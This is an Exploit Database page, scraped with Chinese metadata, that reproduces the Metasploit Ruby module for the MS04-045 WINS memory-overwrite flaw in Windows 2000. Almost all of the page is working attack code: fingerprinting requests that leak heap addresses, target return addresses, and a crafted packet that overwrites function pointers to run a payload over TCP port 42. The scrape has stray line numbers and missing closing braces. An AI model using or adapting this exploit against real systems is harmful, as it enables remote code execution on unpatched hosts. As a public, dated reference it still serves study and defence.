Microsoft WINS – Service Memory Overwrite (MS04-045) (Metasploit)

Exploit Database
142 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16359/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

# $Id: ms04_045_wins.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft WINS Service Memory Overwrite',

'Description'=> %q{

This module exploits an arbitrary memory write flaw in the

WINS service. This exploit has been tested against Windows

2000 only.

'Author' => [ 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10394 $',

'References' =>

[

[ 'CVE', '2004-1080'],

[ 'OSVDB', '12378'],

[ 'BID', '11763'],

[ 'MSB', 'MS04-045'],

'Privileged' => true,

'DefaultOptions'=>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 8000,

'MinNops'=> 512,

'StackAdjustment' => -3500,

'Targets'=>

[

'Windows 2000 English', # Tested OK - 11/25/2005 hdm

{

'Platform' => 'win',

'Rets' => [ 0x5391f40, 0x53df4c4, 0x53922e0],

'DisclosureDate' => 'Dec 14 2004',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(42)

], self.class )

end

def check

ret = fprint()

info = 'This system is running '

info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1]} ")

info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")

info << (ret[3] ? '(clean heap)' : '(dirty heap)')

print_status(info)

return ret[0]

end

def exploit

ret = fprint()

if (ret[0] != Exploit::CheckCode::Vulnerable)

print_status("This system does not appear to be vulnerable")

return

end

# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the

# same function pointer...

if (ret[1] != '2000' or ret[2] !~ /^[0234]/)

print_status("This target is not currently supported")

return

end

# This flag is un-set if the first leaked address is not the default of

# 0x05371e90. This can indicate that someone has already tried to exploit

# this system, or something major happened to the heap that will probably

# prevent this exploit from working.

if (not ret[3])

print_status("Warning: the leaked heap address indicates that this attack may fail");

end

# The base address of our structure in memory

base = target['Rets'][0]

# Address of the function pointers to overwrite (courtesy anonymous donor)

targ = target['Rets'][1]

# Address of the payload on the heap, past the structure

code = target['Rets'][2]

# Build up the wins packet

addr = ''

addr << ([code].pack('V') * 9)

addr << ([targ - 0x48].pack('V') * 14)

wins = addr * 10

wins << payload.encoded

wins << rand_text_english(9200-wins.length, payload_badchars)

wpkt = [wins.length + 8, -1, base].pack('NNN')

wpkt << wins

print_status(sprintf("Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", targ, code, base))

# Connect and send the request

connect

sock.put(wpkt)

handler

disconnect

end

# This fingerprinting routine will cause the structure base address to slide down

# 120 bytes. Subsequent fingerprints will not push this down any futher, however

# we need to make sure that fingerprint is always called before exploitation or

# the alignment will be way off.

def fprint

ret = [Exploit::CheckCode::Safe, '', '', '']

req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+

"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+

"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"

connect

sock.put(req)

data = sock.get_once

return ret if not data

ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )

print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))

os = '2000'

sp = '?'

vi = false

# Check for Windows 2000 systems

case ptrs[3]

when 0x77f8ae78

sp = '0'

when 0x77f81f70

sp = '1'

when 0x77f82680

sp = '2'

when 0x77f83608

sp = '3'

when 0x77f89640

sp = '4'

when 0x77f82518

sp = '5'

when 0x77f81648 # Contributed by grutz[at]jingojango.net

sp = '3/4'

end

# Reset the OS string if no match was found

os = '?' if sp == '?'

# Check for Windows NT 4.0 systems

if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)

os = 'NT'

sp = '?'

end

# Heap is still pristine...

vi = true if ptrs[0] == 0x05371e90

# Determine if the patch has already been applied

req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +

"\x00\x00\x00\x03\x00\x00\x00\x00"

sock.put(req)

data = sock.get_once

disconnect

ret[1] = os

ret[2] = sp

ret[3] = vi

if (data and data[6, 1] == "\x78")

ret[0] = Exploit::CheckCode::Vulnerable

end

return ret

end